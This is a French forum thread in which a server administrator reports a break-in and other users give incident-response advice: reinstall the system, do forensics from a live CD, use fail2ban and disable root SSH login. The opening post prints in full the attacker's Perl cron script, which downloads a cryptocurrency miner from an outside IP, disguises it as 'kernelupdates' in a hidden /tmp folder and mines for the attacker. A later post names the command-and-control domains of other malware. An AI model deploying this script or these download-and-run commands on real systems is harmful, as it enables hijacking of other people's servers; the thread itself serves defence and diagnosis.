Bonjour à tous,
Il semblerait que je me soit fait pirater un de mes serveurs… Je retrouve ce type de script en tâche cron :
#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}
@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";J'ai fait un kill des process douteux ("kernelupdates"), un apt-get update && dist-upgrade (qui m'a mis à jour mon noyau), j'ai changé le mot de passe root et rebooté la machine. J'ai ensuite vérifié le /tmp qui à l'air d'être vide. En tout cas, je n'ai plus de process douteux à réapparaitre. Par contre, j'ai beau inspecter les différents cron (crontab, cron.d, cron.daily, cron.hourly, cron.weekly, etc…) je ne trouve pas la tâche qui réessaye sans arret de remettre le process en place. Finalement, ce qui me sauve et qui m'a fait me rendre compte du problème, c'est que je n'ai pas curl d'installé, et que j'ai un mail d'alerte de la part de cron qui n'arrive pas à exécuter le fichier…
La question est la suivante : comment m'assurer de l'intégrité de mon serveur ? Quels sont les points que je dois vérifier absolument et au plus vite ?
Merci d'avance.
Tof
# La seule solution
Posté par Florent Fourcot . Évalué à 10.
Je vais être porteur de mauvaises nouvelles : tu dois réinstaller ton système intégralement. Tu peux copier les logs/fichiers quelques part pour faire une analyse post-mortem plus tard, mais tu ne peux plus faire confiance à ton serveur actuellement.
[^] # Re: La seule solution
Posté par _Tof_ . Évalué à 1.
Je m'en doutais un peu, mais j'avoue que je vais d'abord essayer la respiration artificielle.
[^] # Re: La seule solution
Posté par ecid . Évalué à 2.
Je suis d'accord que la solution la plus sage est de réinstaller.
Cette page donne une bonne description de ce qu'il faut faire après la compromission d'un serveur. Si tu veux faire une "autopsie", utiliser caine semble être une solution appropriée.
[^] # Re: La seule solution
Posté par Marc Quinton . Évalué à 3.
et ici : Investigating Compromised Servers : https://community.rackspace.com/general/f/34/t/75 ; avec plusieurs commandes listées.
# liveCd
Posté par Jiehong (site web personnel) . Évalué à 4.
Salut!
Je me demande comment l'intrus a pu réussir à avoir l'accès root de ton pc. Il peut potentiellement le refaire…
Sinon, L'analyse post-mortem est la meilleure solution. En attendant, tu peux toujours déconnecter ton serveur, et démarrer à partir d'un liveCD, et lancer en grep massif sur tous les fichiers du disque, en cherchant des valeurs discriminantes.
Quand tu auras découvert le comment, et le pourquoi, je pense qu'un petit journal pourrait être très intéressant !
Bonne chance
[^] # Re: liveCd
Posté par Jiehong (site web personnel) . Évalué à 2.
Et un petit Whois sur l'IP:
Donc, il semblerait que les archives proviennent d'un autre serveur. Donc c'est un peu mort pour remonter plus haut.
[^] # Re: liveCd
Posté par Marc Quinton . Évalué à 2.
sans doute un serveur qui est aussi compromis.
[^] # Re: liveCd
Posté par Jiehong (site web personnel) . Évalué à 2.
Ce programme est encore accessible, et il semble avoir été compilé sous Debian.
Bon, j'ai pas trop regardé, mais il semble lancer plusieurs processus et fils d'exécution. Peut-être pour simplement mettre à genoux le processeur, donc le serveur.
[^] # Re: liveCd
Posté par _Tof_ . Évalué à 2.
A priori, ca fait penser un un mineur de monnaie type bitcoin.
[^] # Re: liveCd
Posté par Marc Quinton . Évalué à 3.
oui, c'est exactement ca. Une recherche sur "stratum+tcp://hk2.wemineltc.com:80" permet de voir que c'est lié au cassage? de LiteCoins, une alternative au BitCoins.
[^] # Re: liveCd
Posté par Tonton Benoit . Évalué à 4.
Si cette pool de minage est sérieuse, il serait peut-être bon de dénoncer l'utilisateur indélicat !
# /tmp/
Posté par Lol Zimmerli (site web personnel, Mastodon) . Évalué à 2.
Il est vidé au reboot…
La gelée de coings est une chose à ne pas avaler de travers.
[^] # Re: /tmp/
Posté par palm123 (site web personnel) . Évalué à 3.
oui mais dans son cas des process essaient d'y écrire en permanence, donc sa vérification est pertinente (mais pas suffisante, comme déjà dit, tout re-installer, et éventuellement sauver pour analyse avec un live-cd).
ウィズコロナ
# Premières investigations
Posté par _Tof_ . Évalué à 2.
Le programme était installé avec la commande "crontab -e", ce qui implique pour moi un accès root. La commande 'last' ne me donne que mes accès. J'ai commencé à regarder le fichier "auth.log", mais vu comment je me faisais attaquer, j'ai des logs de 3 kilomètres… Ca va pas être évident de retrouver l'accès frauduleux (d'autant plus que les traces ont probablement été enlevées….). En tout cas, je vais changer le port d'écoute de ssh, ça évitera probablement une bonne partie des tentatives d'accès.
Ce qui m'inquiète, c'est que mon mot de passe, bien que court (8 caractères), était quand même loin d'être trivial (des minuscules, des majuscules, 1 chiffre et 1 ponctuation).
debsums ne me donne rien, chkrootkit et rkhunter non plus.
Du coup, je vais finir l'analyse des logs, mais ça me donne l'impression que les attaquants n'ont pas véritablement essayé de prendre la main, juste d'installer leur programme de minage.
Dans tous les cas, je suis en train de sauvegarder ce que je peux, et dès que ce serra fait, je repartirai de zéro.
Merci à toutes les personnes qui m'ont aidé !
[^] # Re: Premières investigations
Posté par alpha_one_x86 (site web personnel) . Évalué à 1.
Piratage d'un dédié içi aussi. Le pirate est entrée via un site avec une faile, et donc à installé son cron dans le www-data (crontab -u www-data -e). J'ai rajouté dans /etc/hosts:
127.0.0.1 updates.dyndn-web.com hk2.wemineltc.com power.wemineltc.com lite.wemineltc.com usa4.wemineltc.com usa3.wemineltc.com usa2.wemineltc.com usa.wemineltc.com hk3.wemineltc.com hk.wemineltc.com gridseed.wemineltc.com freedom.wemineltc.com
Je confirme, c'est bien de wemineltc, j'ai donc reporté l'utilisateur sur le canal irc (j'ai un compte la bas).
Mon projet libre: http://ultracopier-fr.first-world.info/, mon jeu libre: http://catchchallenger.first-world.info/
[^] # Re: Premières investigations
Posté par phoenix (site web personnel) . Évalué à 3.
Hello,
Est-ce indiscret de vous demander le nom du site (enfin plutôt le logiciel derrière) ? Est-ce un site opensource, ou proprio connu ou un site maison ?
Merci
[^] # Re: Premières investigations
Posté par alpha_one_x86 (site web personnel) . Évalué à 1.
Mutualisé. Donc tout type de site dessus (wp, prestashop, site custom).
Mon projet libre: http://ultracopier-fr.first-world.info/, mon jeu libre: http://catchchallenger.first-world.info/
[^] # Re: Premières investigations
Posté par JJD . Évalué à 2.
En fait, tu n'indiques pas explicitement avec quel utilisateur était lancé le script. Pour effectuer les actions de ce script, il ne semble pas nécessaire d'être root, pas plus que pour exécuter le programme récupéré (minerd contenu dans l'archive et renommé en kernelupdates, certainement dans l'espoir d'être un peu plus discret).
De même, n'importe quel utilisateur peut exécuter la commande "crontab -e".
Donc, afin d'essayer de déterminer l'origine de la faille, et éviter que cela ne se reproduise après une réinstallation (et accessoirement permettre aux lecteurs de ce site de s'en prémunir), peux-tu nous indiquer quel utilisateur avait lancé ces scripts ? C'est celui à qui appartenait la crontab incriminée ainsi que les fichiers créés dans /tmp. Tu dois aussi pouvoir le déterminer d'après les mails reçus : le sujet devrait commencer par «Cron user@machine».
À partir de là, on pourra commencer à chercher l'origine du problème (mot de passe cracké, mais je n'y crois pas trop, faille dans une appli web, …)
À mon avis, si tu cherches des traces dans des logs, c'est plutôt du côté du serveur web (apache ?) qu'il faut regarder, surtout si PHP est activé.
[^] # Re: Premières investigations
Posté par _Tof_ . Évalué à 2.
Le cron était lancé en root, je peux (malheureusement) le confirmer.
J'ai trouvé des IPs suspectes dans mes logs (auth.log):
May 16 14:11:21 sshd[17906]: Accepted password for root from 85.250.124.124 port 37627 ssh2
May 16 14:11:21 sshd[17906]: pam_unix(sshd:session): session opened for user root by (uid=0)
J'en ai 3 :
109.186.3.14
85.250.124.124
188.165.232.93
2 d'entre elles renvoient en Israël, et la dernière sur un serveur OVH.
Au vu des logs, la compromission a sans doute eu lieu le 12 mai. Par contre, je ne sais toujours pas par ou.
Il y a des choses qui me surprennent :
1 - mon système à l'air normal. Je ne suis sans doute pas assez compétent pour reconnaitre un rootkit, ce qui fait que de toute manière, on va reformater, mais avec l'accès que l'attaquant avait, il aurait pu faire beaucoup plus (et surtout, nettoyer les logs !)
2 - le script n'est même pas obfusqué ! on peux lire quasi en clair (ça reste du perl quand même..) le compte utilisé par le mineur. Je ne connais pas le fonctionnement des crypto-monnaies, mais je me demande même si du coup, on pourrait pas ouvrir son portefeuille, puisque on a également le mot de passe en clair dans le script… Ou alors, le portefeuille est régulièrement transféré sur un autre ?
Je reste vraiment perplexe… De toute manière, l'accès root à été compromis, c'est une certitude. Néanmoins, on a l'impression que ce serveur n'était pas particulièrement intéressant, et qu'aucune précaution particulière n'a été prise pour ne pas être découvert.
A suivre…
[^] # Re: Premières investigations
Posté par gnumdk (site web personnel) . Évalué à 3. Dernière modification le 22 mai 2014 à 16:01.
L'accès ssh root, c'est lui qui l'a ouvert ou le serveur acceptait les connexions root par défaut?
Dans tous les cas, l'installation d'un fail2ban (ou équivalent) afin d'éviter les attaques de type "brute force" me semble être nécessaire ;)
Par exemple, ici j'ai:
- 20 ip bloquées pour SASL
- 96 ip bloquées pour ssh
[^] # Re: Premières investigations
Posté par Florent Fourcot . Évalué à 2.
La première question qui me vient à l'esprit c'est de savoir s'il est usuel de se connecter en root sur ce serveur, et si le mot de passe root est partagé entre ce serveur et d'autres. J'ai en effet déjà vu passer des versions modifiées de SSH qui permettaient :
Ce serveur compromis l'a probablement été par récupération du mot de passe root qui a été tapé sur un terminal android. À partir de là, ça aurait pu partir en chaîne, notamment si quelqu'un utilisait ce serveur pour faire des rebonds SSH vers ailleurs. La partir amusante était que le malware était sous la forme d'un virus, contaminant petit à petit les exécutables à disposition (pour se mettre/remettre dans l'exécutable SSH si root avait le bonheur de lancer un programme).
Autrement, si l'utilisateur ne fait aucun effort pour camoufler ses traces, la connexion d'un utilisateur root ne veut absolument pas dire qu'il a trouvé le mot de passe. Il a pu remplacer le démon SSH par un autre moyen, puis ensuite l'utiliser par simplicité.
[^] # Re: Premières investigations
Posté par freem . Évalué à 1.
Je me demande s'il n'est pas possible d'interdire l'usage de la commande "su"? Si c'est le cas, alors il serait peut-être intéressant d'interdire tout accès au compte root qui ne passe pas par ssh, et de mettre en place l'usage des ~/.ssh/authorized_keys, solution tout de même plus blindée que d'utiliser des passwords.
[^] # Re: Premières investigations
Posté par Chris K. . Évalué à 6.
Il vaut mieux faire l'inverse et interdire l'accès root en SSH. L'attaquant devra trouver un nom d'utilisateur valide en plus du mot de passe de l'utilisateur. Ensuite même si le compte utilisateur est compromis l'attaquant n'aura toujours pas d'accès admin au système sans le deuxième mot de passe pour passer root avec su.
Je ne peux que plusser gnumdk pour fail2ban : sur un serveur dédié c'est tout simplement indispensable.
Pour aller encore plus loin tu peux changer le port par défaut de ssh et y placer un honeypot sur le 22 et utiliser fail2ban pour bannir les ips qui se connectent au honeypot.
[^] # Re: Premières investigations
Posté par freem . Évalué à 1.
Effectivement, devoir passer par su ajoute un pass, donc de la sécurité et évite qu'un couple login/pass se fasse casser trop vite ( surtout que j'imagine que le nom "root" n'est jamais changé? ). Même si j'avais parlé d'authentification SSH via les fameux fichiers id_rsa et id_rsa.pub. Penses-tu que leur usage fragilise un système? Après tout, si on s'en fait piquer un, on compromets directement le système ( et du coup effectivement interdire l'accès root est très pertinent )?
À moins qu'il soit possible de limiter l'usage de ces fichiers pour des clients ayant tel hash?
Sinon, utiliser un honeypot et un fail2ban sur le 22, ça me semble "dangereux" si quelqu'un zappe le numéro de port? Enfin, c'est sûr que ça ajoute en sécurité…
[^] # Re: Premières investigations
Posté par Chris K. . Évalué à 2.
Oui en effet la sécurisation des fichiers de clé eux même sont un peu la faiblesse de ce système : il faut être bien sûr quelles sont stockés de manière à ce que personne d'autre ne puisse potentiellement y avoir accès et ce n'est malheureusement pas toujours évident.
L'autre problématique importante quand on généralise leur utilisation est le risque de se faire pourrir les machines à la chaîne : la machine A est vulnérable à une quelconque faille, l'attaquant obtient l'accès à un un compte utilisateur avec les clés pour se connecter sur B et C même si ces machines ne sont pas vulnérables.
Après il faut en tenir compte et je ne dis pas que c'est forcément une mauvaise façon de faire, les clés ont aussi leurs avantages.
Le nom de l'utilisateur root n'est effectivement jamais changé et les tentatives de brute force se font régulièrement sur cet utilisateur car après tout c'est de loin le plus intéressant pour l'attaquant. Donc pour moi la règle est simple : PermitRootLogin est à no sur toutes les machines que j'administre pour un peu plus de tranquillité.
Oui et ça m'est naturellement déjà arrivé ^_^. J'ai une solution tout bête : les adresses IP de plusieurs machines auxquelles je peux avoir accès par internet sont en liste blanche sur les honeypots. Comme ça même si je me plante alors que suis dans un cyber café à l'étranger je peux toujours me loguer sur une autre machine pour me dé-bannir (sans oublier de préciser le port cette fois là).
Sinon en adaptant un peu le script python que j'utilise pour les honeypots il serait assez facile de mettre en place une séquence de port knocking pour se faire dé-bannir et là plus besoin de liste blanche.
[^] # Re: Premières investigations
Posté par heimdal . Évalué à 1.
Bonjour tlm,
Mes collègues ont découvert que leur serveur se faisait exploiter à 100%
depuis vendredi soir, le 24.
Le serveur est une redhat 6, noyau 2.6.32-279.14.1.el6.x86_64
sur laquelle je n'ai trouvé ni les auths ni syslog
Résultat des examens : top :
et une pelleté de wget et de curl lancé par l'utilisateur jboss
qui ont déposé des fichier 368.1 à 368.77.2 minute après minute contenant la même page
html :
<title>1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team</title>Dans le crontab :
̀
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; doneLe ~/.sysdbs est un binaire,
strings ~/.sysdbssysync.pl , je vous en fait grâce, c'est du perl bien obfusqué qui tape dans
iscvadimswallows.dyndns.biz,webstatzz.twilightparadox.com,westatzo.dyndns-remote.com,suyeifd.dyndns.info,killbilll.twilightparadox.com,ifivecents.dyndns-web.com …etc…
Quelques lignes suspectes dans la maillog :
May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: the Postfix sendmail command has set-uid root file permissions
May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: or the command is run from a set-uid root process
May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: the Postfix sendmail command must be installed without set-uid root file permissions
dans /var/log/secure : a gogo de
May 27 15:09:10 tatooine agetty[18709]: /dev/ttyS0: tcgetattr: Input/output error
May 27 15:09:20 tatooine agetty[18729]: /dev/ttyS1: tcgetattr: Input/output error
ce qui en brouille considérablement la lecture
May 27 15:09:24 tatooine sshd[18731]: Address 93.62.137.164 maps to smtp.arcaplanet.net, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!
et, surprise, en l'absence de fail2ban, des connexions ssh tentent leur chances depuis un an,
(161624 tentatives depuis 5595 ip différentes).
/etc/passwdest-ce que ça pose problème si ce n'est pas à
/bin/false? pourquoi ?Donc voilà un serveur bien troué…
# stealth
Posté par wilk . Évalué à 2.
En dehors des procédures de blocages citées, stealth permet de vérifier l'intégrité des fichiers. C'est très simple à mettre en place, facile a personnaliser et ça ne laisse aucune trace sur la machine surveillée (à part pendant le lancement). En gros on lance d'une autre machine une série de find sha1sum périodiquement, chaque différence est loguée et montre donc automatiquement tout changement dans l'arborescence.
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.